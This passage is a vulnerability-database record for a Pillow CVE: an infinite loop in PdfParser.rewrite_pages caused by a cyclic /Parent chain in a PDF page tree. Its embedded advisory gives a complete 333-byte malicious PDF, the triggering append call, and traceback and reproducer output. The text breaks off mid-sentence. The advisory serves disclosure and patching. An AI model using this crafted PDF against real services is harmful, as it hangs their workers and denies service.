{"id":"CVE-2026-112406","aliases":["ALSA-2026:92639","BIT-pillow-2026-112406","CLSA-2026-1792652081","CLSA-2026-1792741691","CLSA-2026-1792753381","CLSA-2026-1792756028","CLSA-2026-1792815256","CLSA-2026-1793015509","DEBIAN-CVE-2026-112406","EUVD-2026-104648","GHSA-f2g6-542v-9j58","RLSA-2026:92639","ROOT-APP-PYPI-CVE-2026-112406","SUSE-SU-2026:5038-1","UBUNTU-CVE-2026-112406","openSUSE-SU-2026:12230-1"],"status":"published","title":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00573,"percentile":0.47674,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-835"],"published":"2026-10-19T21:31:49Z","modified":"2026-11-06T11:15:03Z","fixes":[{"ecosystem":"PyPI","package":"pillow","fixed_in":["13.0.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"pillow","fixed_in":["13.0.0"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"pillow","fixed_in":["10.4.0+aikido.16","12.3.0+aikido.3","10.3.0+aikido.19","12.3.0+aikido.4","10.4.0+aikido.17","10.3.0+aikido.20","9.0.0+aikido.1","9.2.0+aikido.1","9.0.0+aikido.2","12.2.0+aikido.9","9.5.0+aikido.17","9.5.0+aikido.18","9.5.0+aikido.19","10.4.0+aikido.18"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}]},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-tk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"Bitnami","package":"pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"11.3.0.post8+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare","11.3.0.post5+tuxcare","11.3.0.post6+tuxcare","11.3.0.post7+tuxcare"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1"},{"fixed":"11.2.1.post10+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare","11.2.1.post3+tuxcare","11.2.1.post4+tuxcare","11.2.1.post5+tuxcare","11.2.1.post6+tuxcare","11.2.1.post7+tuxcare","11.2.1.post8+tuxcare","11.2.1.post9+tuxcare"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0"},{"fixed":"10.4.0.post12+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post10+tuxcare","10.4.0.post11+tuxcare","10.4.0.post2+tuxcare","10.4.0.post3+tuxcare","10.4.0.post4+tuxcare","10.4.0.post5+tuxcare","10.4.0.post6+tuxcare","10.4.0.post7+tuxcare","10.4.0.post8+tuxcare","10.4.0.post9+tuxcare"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0"},{"fixed":"9.5.0.post10+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare","9.5.0.post3+tuxcare","9.5.0.post4+tuxcare","9.5.0.post5+tuxcare","9.5.0.post6+tuxcare","9.5.0.post7+tuxcare","9.5.0.post8+tuxcare","9.5.0.post9+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"fixed":"9.4.0.post11+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post10+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare","9.4.0.post5+tuxcare","9.4.0.post6+tuxcare","9.4.0.post7+tuxcare","9.4.0.post8+tuxcare","9.4.0.post9+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0"},{"fixed":"8.4.0.post11+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post10+tuxcare","8.4.0.post2+tuxcare","8.4.0.post3+tuxcare","8.4.0.post4+tuxcare","8.4.0.post5+tuxcare","8.4.0.post6+tuxcare","8.4.0.post7+tuxcare","8.4.0.post8+tuxcare","8.4.0.post9+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"Debian:12","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.3.0-1","10.3.0-2","10.4.0-1","10.4.0-1.1","11.1.0-1","11.1.0-2","11.1.0-3","11.1.0-4","11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1","9.4.0-1.1","9.4.0-1.1+deb12u1","9.5.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5","11.1.0-5+deb13u1","11.1.0-5+deb13u2","11.1.0-5+deb13u3","11.1.0-5+deb13u4","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"Rocky Linux:8","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"Root:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.4.0+aikido.16"},{"fixed":"12.3.0+aikido.3"},{"fixed":"10.3.0+aikido.19"},{"fixed":"12.3.0+aikido.4"},{"fixed":"10.4.0+aikido.17"},{"fixed":"10.3.0+aikido.20"},{"fixed":"9.0.0+aikido.1"},{"fixed":"9.2.0+aikido.1"},{"fixed":"9.0.0+aikido.2"},{"fixed":"12.2.0+aikido.9"},{"fixed":"9.5.0+aikido.17"},{"fixed":"9.5.0+aikido.18"},{"fixed":"9.5.0+aikido.19"},{"fixed":"10.4.0+aikido.18"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.2.0-150300.3.33.1"}]}],"bundled":29},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.1.1-3build2","4.3.0-2ubuntu1","5.0.0-1","5.1.0-1","5.1.0-1ubuntu0.2","5.1.0-1ubuntu0.3","5.1.0-1ubuntu0.4","5.1.0-1ubuntu0.5","5.1.0-1ubuntu0.6","5.1.0-1ubuntu0.7","5.1.0-1ubuntu0.8","5.1.0-1ubuntu0.8+esm1","5.1.0-1ubuntu0.8+esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.0-1","6.1.0-1build1","6.2.1-2","7.0.0-4","7.0.0-4build1","7.0.0-4ubuntu0.1","7.0.0-4ubuntu0.2","7.0.0-4ubuntu0.3","7.0.0-4ubuntu0.4","7.0.0-4ubuntu0.5","7.0.0-4ubuntu0.6","7.0.0-4ubuntu0.7","7.0.0-4ubuntu0.8","7.0.0-4ubuntu0.9","7.0.0-4ubuntu0.9+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow-python2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1-3~build1","6.2.1-3","6.2.1-3ubuntu0.1~esm1","6.2.1-3ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4","9.0.1-1ubuntu0.5","9.0.1-1ubuntu0.6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2","10.2.0-1ubuntu1.3","10.2.0-1ubuntu1.4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["12.1.1-2ubuntu1","12.3.0-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2","12.1.1-2ubuntu1.3","12.1.1-2ubuntu1.4"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0-1.1"}]}],"bundled":14}],"products":[{"vendor":"python","product":"pillow"},{"vendor":"python-pillow","product":"pillow"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Patch","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["x_refsource_MISC","Release Notes","article","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112406","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-f2g6-542v-9j58"},{"url":"https://access.redhat.com/errata/RHSA-2026:92639","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112391","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112392","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112397","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112402","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112405","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112406","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112892","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112894","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112895","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-96640","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555851","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555859","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555866","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555868","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555873","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555875","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555879","tags":["report"]},{"url":"https://bugzilla.redhat.com/2556322","tags":["report"]},{"url":"https://bugzilla.redhat.com/2558576","tags":["report"]},{"url":"https://bugzilla.redhat.com/2559393","tags":["report"]},{"url":"https://errata.almalinux.org/8/ALSA-2026-92639.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112406.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-112406","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"]},{"url":"https://errata.rockylinux.org/RLSA-2026:92639","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555851","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555859","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555866","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555868","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555873","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555875","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555879","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2556322","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2558576","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2559393","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265038-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1286256","tags":["report"]},{"url":"https://bugzilla.suse.com/1286273","tags":["report"]},{"url":"https://bugzilla.suse.com/1286287","tags":["report"]},{"url":"https://bugzilla.suse.com/1286311","tags":["report"]},{"url":"https://bugzilla.suse.com/1286314","tags":["report"]},{"url":"https://bugzilla.suse.com/1286325","tags":["report"]},{"url":"https://bugzilla.suse.com/1286368","tags":["report"]},{"url":"https://bugzilla.suse.com/1286370","tags":["report"]},{"url":"https://bugzilla.suse.com/1286372","tags":["report"]},{"url":"https://bugzilla.suse.com/1286381","tags":["report"]},{"url":"https://bugzilla.suse.com/1286396","tags":["report"]},{"url":"https://bugzilla.suse.com/1286397","tags":["report"]},{"url":"https://bugzilla.suse.com/1286398","tags":["report"]},{"url":"https://bugzilla.suse.com/1286400","tags":["report"]},{"url":"https://bugzilla.suse.com/1286401","tags":["report"]},{"url":"https://bugzilla.suse.com/1286402","tags":["report"]},{"url":"https://bugzilla.suse.com/1286403","tags":["report"]},{"url":"https://bugzilla.suse.com/1286404","tags":["report"]},{"url":"https://bugzilla.suse.com/1286405","tags":["report"]},{"url":"https://bugzilla.suse.com/1286406","tags":["report"]},{"url":"https://bugzilla.suse.com/1286408","tags":["report"]},{"url":"https://bugzilla.suse.com/1286411","tags":["report"]},{"url":"https://bugzilla.suse.com/1286489","tags":["report"]},{"url":"https://bugzilla.suse.com/1286796","tags":["report"]},{"url":"https://bugzilla.suse.com/1286797","tags":["report"]},{"url":"https://bugzilla.suse.com/1286798","tags":["report"]},{"url":"https://bugzilla.suse.com/1286801","tags":["report"]},{"url":"https://bugzilla.suse.com/1286802","tags":["report"]},{"url":"https://bugzilla.suse.com/1286804","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112390","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112391","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112392","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112393","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112394","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112397","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112398","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112399","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112400","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112401","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112402","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112403","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112405","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112406","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112892","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112894","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112895","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112896","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112897","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112899","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112900","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112901","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112902","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96636","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96640","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96641","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96642","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-112406","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-112406","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112396","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112898","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-112406","title":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T21:31:49.946Z","modified":"2026-10-20T16:08:57.551Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T13:44:51.734189Z"}],"euvd":[{"id":"EUVD-2026-104648","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T21:31:49Z","modified":"2026-10-20T16:08:57Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:59:43.600473Z"}],"ghsa":[{"id":"GHSA-f2g6-542v-9j58","title":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","description":"```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505  in PdfParser.rewrite_pages()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.\n\nThe bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.\n\nThis is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.\n\nThe attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.\n\n## Details\n\n`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.\n\nThe following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\nendobj\n2 0 obj\n\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\nendobj\n3 0 obj\n\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000056 00000 n \n0000000125 00000 n \ntrailer\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\nstartxref\n192\n%%EOF\n```\n\n`Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:\n\n```\n  File \"src/PIL/PdfImagePlugin.py\", line 263, in _save\n    existing_pdf.write_catalog()\n  File \"src/PIL/PdfParser.py\", line 473, in write_catalog\n    self.rewrite_pages()\n  File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages\n    while pages_tree_node_ref:\n```\n\nThe same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.\n\nThe loop:\n\n```python\n# src/PIL/PdfParser.py:483-510\ndef rewrite_pages(self) -\u003e None:\n    pages_tree_nodes_to_delete = []\n    for i, page_ref in enumerate(self.orig_pages):\n        page_info = self.cached_objects[page_ref]\n        del self.xref_table[page_ref.object_id]\n        pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")])\n        …\n    # delete redundant Pages tree nodes from xref table\n    for pages_tree_node_ref in pages_tree_nodes_to_delete:\n        while pages_tree_node_ref:\n            pages_tree_node = self.cached_objects[pages_tree_node_ref]\n            if pages_tree_node_ref.object_id in self.xref_table:\n                del self.xref_table[pages_tree_node_ref.object_id]\n            pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None)\n    self.orig_pages = []\n```\n\nHow the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`.\n\nFor the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` — which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent — `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 → `/Kids [4 0 R]`, node 4 → `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.\n\nThe parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats — the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard.\n\nThe unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0.\n\n## Impact\n\nAny application that appends pages to a PDF it did not produce — `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected.\n\nThis is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds.\n\nThe script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2:\n\n- `control` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e`. This is a normal file.\n- `cyclic` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above.\n\nFor each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict.\n\nExpected output on this commit (PDF dumps omitted):\n\n```\n[control] append finished in 0.045s\n[cyclic] still running after 5s, interrupted in:\n    save()  /src/src/PIL/Image.py:2724  save_handler(self, fp, filename)\n    _save()  /src/src/PIL/PdfImagePlugin.py:263  existing_pdf.write_catalog()\n    write_catalog()  /src/src/PIL/PdfParser.py:473  self.rewrite_pages()\n    rewrite_pages()  /src/src/PIL/PdfParser.py:506  pages_tree_node = self.cached_objects[pages_tree_node_ref]\n    ...\nBUG\n```\n\nThe innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser 